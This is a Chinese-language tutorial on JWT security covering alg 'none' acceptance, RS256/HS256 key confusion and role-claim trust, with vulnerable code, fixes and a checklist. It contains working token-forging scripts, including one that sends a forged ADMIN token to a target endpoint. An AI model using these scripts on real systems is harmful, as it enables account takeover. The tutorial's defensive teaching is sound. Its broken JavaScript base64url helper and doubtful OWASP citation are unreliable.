JWT 算法混淆攻防

"用 JWT 做认证,安全又方便"——但方便的同时,JWT 也带来了一系列独特的攻击面。尤其是算法验证不严导致的身份伪造,在 2022 年 OWASP Top 10 中被明确列为 API 安全的头号威胁。

一、JWT 结构回顾

Header.Payload.Signature

Header:  {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "1234567890", "role": "ADMIN", "exp": 1516239022}
Signature: HMACSHA256(
  base64url(Header) + "." + base64url(Payload),
  secret
)

算法类型:

  • 对称加密:HS256, HS384, HS512(用同一个密钥签和验)
  • 非对称加密:RS256, ES256, PS256(私钥签,公钥验)
  • None:完全不签名(某些库支持,严重隐患)

二、漏洞一:None 算法接受者

2.1 漏洞描述

服务端 JWT 实现接受 alg: None 算法的 token——签名部分为空,任何 token 都能"通过验证"。

2.2 漏洞代码(旧版 jsonwebtoken 库)

// VULNERABLE: 没有限制算法,接受 None
const jwt = require('jsonwebtoken');

const secret = 'my-super-secret';

// 签发(正常)
const token = jwt.sign({ role: 'USER' }, secret, { algorithm: 'HS256' });

// 验证(❌ 没有 algorithms 限制!)
// 旧版 jsonwebtoken 默认接受包括 None 在内的多种算法
const decoded = jwt.verify(token, secret); // ✅ 正常 token 通过

2.3 攻击:构造 None 算法 token

Python 脚本用 PyJWT(或手动 base64 拼接)生成 None 算法 token:

import base64, json

def b64url_encode(data):
    return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()

# None 算法的 Header
header = {"alg": "none", "typ": "JWT"}
# 伪造的 Payload
payload = {
    "sub": "1",
    "username": "admin",
    "role": "ADMIN",        # ❌ 直接提升为管理员
    "exp": 9999999999,      # 过期时间设到 2286 年
    "iat": 1700000000,
}

# None 算法的 Signature 是空字符串
fake_token = f"{b64url_encode(header)}.{b64url_encode(payload)}."  # 末尾空的

print(f"伪造 token: {fake_token}")
# 服务端如果接受 None 算法 → 完美通过!

2.4 Node.js 手动构造 None token

// 手动构造一个 None 算法的 JWT
function b64url(obj) {
  return Buffer.from(JSON.stringify(obj)).toString('base64url').replace(/=+$/, '');
}

const header = { alg: 'none', typ: 'JWT' };
const payload = {
  sub: '1',
  role: 'ADMIN',
  exp: Math.floor(Date.now() / 1000) + 31536000,
};

// None 算法的签名部分是空字符串
const noneToken = `${b64url(header)}.${b64url(payload)}.`;
console.log(noneToken);

// 如果服务端用的是旧版 jsonwebtoken,这个 token 可能能通过验证

2.5 修复

// FIXED: 严格指定只接受哪些算法
const jwt = require('jsonwebtoken');

// ✅ 明确限制算法为 HS256
const decoded = jwt.verify(token, secret, {
  algorithms: ['HS256'],  // 只允许 HS256,拒绝 None 和其他
});

// 更安全:白名单 + 类型检查
const result = jwt.verify(token, secret, {
  algorithms: ['HS256', 'RS256'],
  ignoreExpiration: false,
  issuer: 'my-app',
  audience: 'my-api',
});

// 最佳实践:用 jose 库或新版 jsonwebtoken (默认已经拒绝 None)
// 如果使用的是旧版本,升级库版本是当务之急

三、漏洞二:算法混淆 Attack(公钥当密钥用)

3.1 漏洞描述

这是 CVE-2015-9235(alg:none 之外最危险的 JWT 漏洞)。当应用同时支持 对称算法(HS256)非对称算法(RS256) 时:

  • RS256 用 私钥 签名,公钥 验签
  • HS256 用 同一个密钥 签名和验签

问题来了:如果攻击者把 RS256 的公钥拿来当 HS256 的密钥签名,服务端会用公钥当 HS256 的密钥来验签——就通过了!

3.2 攻击原理

正常流程:
  签发: RS256(PRIVATE_KEY, payload)  → token
  验签: RS256(PUBLIC_KEY, token)    → 对 ✅

攻击流程:
  攻击者拿到 PUBLIC_KEY(公钥本来就是公开的)
  攻击者签发: HS256(PUBLIC_KEY, malicious_payload)  → fake_token
  服务端验签: 
    header.alg = "HS256"(攻击者改了)
    服务端用什么密钥?
    如果服务端把 PUBLIC_KEY 当 HS256 的 secret 用
    → HS256(PUBLIC_KEY, payload) == attacker 的签名  → 对了!✅

3.3 漏洞代码

// VULNERABLE: 公钥同时用作 HS256 和 RS256 验签
const jwt = require('jsonwebtoken');
const fs = require('fs');

const publicKey = fs.readFileSync('public.pem');  // 公开的 RSA 公钥
const privateKey = fs.readFileSync('private.pem');

app.use(authMiddleware);

function authMiddleware(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Unauthorized' });

  // ❌ 根据 token header 里的 alg 选择验签方式,而且密钥复用了!
  const decoded = jwt.verify(token, publicKey, {
    algorithms: ['RS256', 'HS256'],  // 同时接受两种,而且公钥在两个里面都能用
  });
  // 攻击者把 token 的 alg 改成 HS256
  // 然后用公钥当 secret 来签 → 完美通过
  req.user = decoded;
  next();
}

3.4 攻击脚本

# CVE-2015-9235 利用脚本
import jwt, base64

# 1. 从服务端拿到公钥
public_key = open('public.pem').read()

# 2. 构造恶意 payload
payload = {
    "sub": "1",
    "role": "ADMIN",      # 提权
    "username": "attacker",
    "iss": "original-app",
}

# 3. 用公钥当 HS256 的 secret 来签名
# 注意:key 需要是 bytes 类型
key_bytes = public_key.encode()

# 用 HS256 算法 + 公钥(当 secret)签名
malicious_token = jwt.encode(
    payload,
    key_bytes,
    algorithm='HS256'
)

# 4. 发送给服务端
import requests
resp = requests.get(
    'http://target/admin/users',
    headers={'Authorization': f'Bearer {malicious_token}'}
)
print(f"Status: {resp.status_code}")  # 200 → 成功提权!

3.5 修复

// FIXED: 严格区分算法类型和密钥类型
const jwt = require('jsonwebtoken');

const rsaPublicKey = fs.readFileSync('public.pem');
const hmacSecret = process.env.JWT_HMAC_SECRET; // 独立的 HMAC 密钥

function authMiddleware(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Unauthorized' });

  // ✅ 先解析 header,再根据 alg 选择对应的密钥
  const header = JSON.parse(base64urlDecode(token.split('.')[0]));

  let decoded;
  if (header.alg === 'RS256') {
    // 非对称算法 → 只能用公钥验签
    decoded = jwt.verify(token, rsaPublicKey, { algorithms: ['RS256'] });
  } else if (header.alg === 'HS256') {
    // 对称算法 → 用独立的 HMAC 密钥,绝对不能用公钥
    decoded = jwt.verify(token, hmacSecret, { algorithms: ['HS256'] });
  } else {
    // ❌ 其他算法一律拒绝(包括 None、RS384、EdDSA 等未授权算法)
    return res.status(401).json({ error: '算法不允许' });
  }

  req.user = decoded;
  next();
}

function base64urlDecode(str) {
  str += '=' * (4 - str.length % 4);
  return Buffer.from(str, 'base64').toString();
}

四、漏洞三:payload 注入(类型混淆)

4.1 场景一:user_id 类型混淆

// 服务端期望 sub 是数字
const user = await db.User.findById(req.user.sub);

// 攻击者传字符串 "12345" 和数字 12345 可能导致不同的数据库行为
// 某些 ORM 会把字符串 ID 强制转换,导致类型混淆
// 更糟的是如果是 NoSQL:
// db.User.find({ _id: req.user.sub })
// 攻击者传 { $ne: null } 可能绕过

4.2 场景二:role 字段的 JSON 注入

// VULNERABLE: 信任 token 里的 role 字段
function requireAdmin(req, res, next) {
  if (req.user.role !== 'ADMIN') {
    return res.status(403).json({ error: 'Forbidden' });
  }
  next();
}

// 攻击者签名前在 payload 里加上 role: "ADMIN"
// 服务端就会认为他是管理员

// FIXED: 权限数据从数据库获取,不信任 token 中的角色
async function loadUser(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  const decoded = jwt.verify(token, SECRET, { algorithms: ['HS256'] });

  // ✅ 从数据库重新加载权限,而不是信任 token 中的 role
  const user = await db.User.findOne({ where: { id: decoded.sub } });
  if (!user) return res.status(401).json({ error: '用户不存在' });

  req.user = user; // 包含数据库中的真实 role
  next();
}

五、JWT 安全验证清单

检查项 要求
算法限制 白名单,只允预先授权的算法(如 ['RS256']
拒绝 None 显式拒绝 alg: none,升级到新版 JWT 库
密钥分离 对称密钥和非对称密钥严格分离,不能混用
算法-密钥绑定 RS256 只用公钥,HS256 只用 HMAC secret
过期校验 必须校验 exp(expiration)字段
签发者校验 校验 iss(issuer)字段,防止第三方签发
受众校验 校验 aud(audience)字段
签名校验 总是验证签名,永不在签名前信任 payload
权限加载 角色/权限从数据库加载,不信任 token 中的角色字段
传输安全 HTTPS only,防止 token 被窃取
存储位置 前端用 httpOnly Cookie 存,不要存 localStorage

完整的安全 JWT 签发 + 验证实现

const jwt = require('jsonwebtoken');
const jose = require('jose'); // 更现代的 JWT 库

// 签发(服务端)
async function issueToken(user) {
  const secret = new TextEncoder().encode(process.env.JWT_SECRET);

  return new jose.SignJWT({
    username: user.username,
  })
    .setProtectedHeader({ alg: 'HS256' })
    .setIssuer('my-app')           // iss
    .setAudience('my-api')         // aud
    .setSubject(String(user.id))   // sub
    .setIssuedAt()                 // iat
    .setExpirationTime('2h')       // exp: 2 小时后过期
    .sign(secret);
}

// 验证(服务端)
async function verifyToken(token) {
  const secret = new TextEncoder().encode(process.env.JWT_SECRET);

  const { payload, protectedHeader } = await jose.jwtVerify(token, secret, {
    issuer: 'my-app',
    audience: 'my-api',
    algorithms: ['HS256'],          // ✅ 严格算法限制
    maxTokenAge: '2h',              // ✅ 额外保障:检查 token 签发时间
  });

  return {
    id: payload.sub,
    username: payload.username,
  };
}

// 配合权限中间件(权限从数据库加载)
async function authMiddleware(req, res, next) {
  try {
    const authHeader = req.headers.authorization;
    if (!authHeader?.startsWith('Bearer ')) {
      return res.status(401).json({ error: 'Unauthorized' });
    }

    const token = authHeader.slice(7);
    const claims = await verifyToken(token);

    // ✅ 从数据库加载最新权限
    const user = await db.User.findOne({
      where: { id: claims.id },
      include: [{ model: db.Role, attributes: ['name', 'permissions'] }],
    });

    if (!user || !user.isActive) {
      return res.status(401).json({ error: '账号不可用' });
    }

    req.user = user;
    next();
  } catch (err) {
    if (err.code === 'ERR_JWT_EXPIRED') {
      return res.status(401).json({ error: 'Token 已过期' });
    }
    if (err.code === 'ERR_JWS_SIGNATURE_VERIFICATION_FAILED') {
      return res.status(401).json({ error: '签名无效' });
    }
    return res.status(401).json({ error: 'Token 验证失败' });
  }
}

六、Token 吊销问题

JWT 是无状态的——一旦签发就不能撤销。但实际中你需要踢人下线。

6.1 黑名单方案(Redis)

// 登出时把 jti(JWT ID)加入黑名单
async function logout(req, res) {
  const token = req.headers.authorization.split(' ')[1];
  const decoded = jwt.decode(token); // 只解码,不验签拿 jti

  await redis.set(
    `jwt:blacklist:${decoded.jti}`,
    '1',
    'EX', Math.ceil((decoded.exp - Date.now() / 1000)) // 过期自动清理
  );

  res.json({ success: true });
}

// 验证时检查黑名单
async function verifyToken(token) {
  const { payload } = await jose.jwtVerify(token, secret, {
    algorithms: ['HS256'],
    issuer: 'my-app',
  });

  // ✅ 检查黑名单
  const isBlocked = await redis.get(`jwt:blacklist:${payload.jti}`);
  if (isBlocked) {
    throw new Error('Token 已吊销');
  }

  return payload;
}

6.2 短周期 Access Token + 长周期 Refresh Token

登录成功:
  签发 Access Token (15 分钟, HS256, 存 httpOnly Cookie)
  签发 Refresh Token (30 天, 存 httpOnly Cookie, 存 DB)

Access Token 过期:
  前端用 Refresh Token 请求 /api/refresh
  服务端验证 Refresh Token → 签发新 Access Token
  Refresh Token 用完即毁(轮换)

Refresh Token 泄露:
  用户修改密码 → 所有 Refresh Token 失效
  踢人下线 → 该 Refresh Token 加入黑名单

七、总结

JWT 攻击的核心是:信任了不该信任的东西——None 算法被接受、公钥被当 HMAC secret 用、payload 里的角色被直接当权限。

防御 JWT 的 4 条铁律:

  1. 算法白名单algorithms: ['RS256'] 而不是接受所有
  2. 密钥隔离:公钥做公钥的事,secret 做 secret 的事,绝不混用
  3. 签名先于信任:验证签名之后才能访问 payload 里的任何字段
  4. 数据外部化:角色、权限从数据库加载,不要塞进 JWT payload

JWT 本身没问题,问题在于实现者没有理解 JWT 的信任边界